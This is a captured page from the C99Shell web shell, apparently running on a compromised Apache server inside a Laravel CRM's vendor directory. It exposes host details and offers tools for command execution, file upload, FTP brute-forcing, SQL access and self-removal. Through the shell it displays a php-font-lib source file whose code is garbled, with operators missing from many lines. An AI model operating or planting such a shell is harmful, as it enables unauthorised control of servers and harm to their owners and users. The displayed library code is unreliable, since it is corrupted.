!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/phenx/php-font-lib/src/FontLib/Table/   drwxrwxrwx
Free 13.08 GB of 57.97 GB (22.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DirectoryEntry.php (2.4 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @author  Fabien Ménager <fabien.menager@gmail.com>
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace FontLib\Table;

use 
FontLib\TrueType\File;
use 
FontLib\Font;
use 
FontLib\BinaryStream;

/**
 * Generic Font table directory entry.
 *
 * @package php-font-lib
 */
class DirectoryEntry extends BinaryStream {
  
/**
   * @var File
   */
  
protected $font;

  
/**
   * @var Table
   */
  
protected $font_table;

  public 
$entryLength 4;

  public 
$tag;
  public 
$checksum;
  public 
$offset;
  public 
$length;

  protected 
$origF;

  
/**
   * @param string $data
   *
   * @return int
   */
  
static function computeChecksum($data) {
    
$len mb_strlen($data'8bit');
    
$mod $len 4;

    if (
$mod) {
      
$data str_pad($data$len + ($mod), "\0");
    }

    
$table unpack("N*"$data);
    return 
array_sum($table);
  }

  function 
__construct(File $font) {
    
$this->font $font;
    
$this->f    $font->f;
  }

  function 
parse() {
    
$this->tag $this->font->read(4);
  }

  function 
open($filename$mode self::modeRead) {
    
// void
  
}

  function 
setTable(Table $font_table) {
    
$this->font_table $font_table;
  }

  function 
encode($entry_offset) {
    
Font::d("\n==== $this->tag ====");
    
//Font::d("Entry offset  = $entry_offset");

    
$data $this->font_table;
    
$font $this->font;

    
$table_offset $font->pos();
    
$this->offset $table_offset;
    
$table_length $data->encode();

    
$font->seek($table_offset $table_length);
    
$pad 0;
    
$mod $table_length 4;
    if (
$mod != 0) {
      
$pad $mod;
      
$font->write(str_pad(""$pad"\0"), $pad);
    }

    
$font->seek($table_offset);
    
$table_data $font->read($table_length);

    
$font->seek($entry_offset);

    
$font->write($this->tag4);
    
$font->writeUInt32(self::computeChecksum($table_data));
    
$font->writeUInt32($table_offset);
    
$font->writeUInt32($table_length);

    
Font::d("Bytes written = $table_length");

    
$font->seek($table_offset $table_length $pad);
  }

  
/**
   * @return File
   */
  
function getFont() {
    return 
$this->font;
  }

  function 
startRead() {
    
$this->font->seek($this->offset);
  }

  function 
endRead() {
    
//
  
}

  function 
startWrite() {
    
$this->font->seek($this->offset);
  }

  function 
endWrite() {
    
//
  
}
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0079 ]--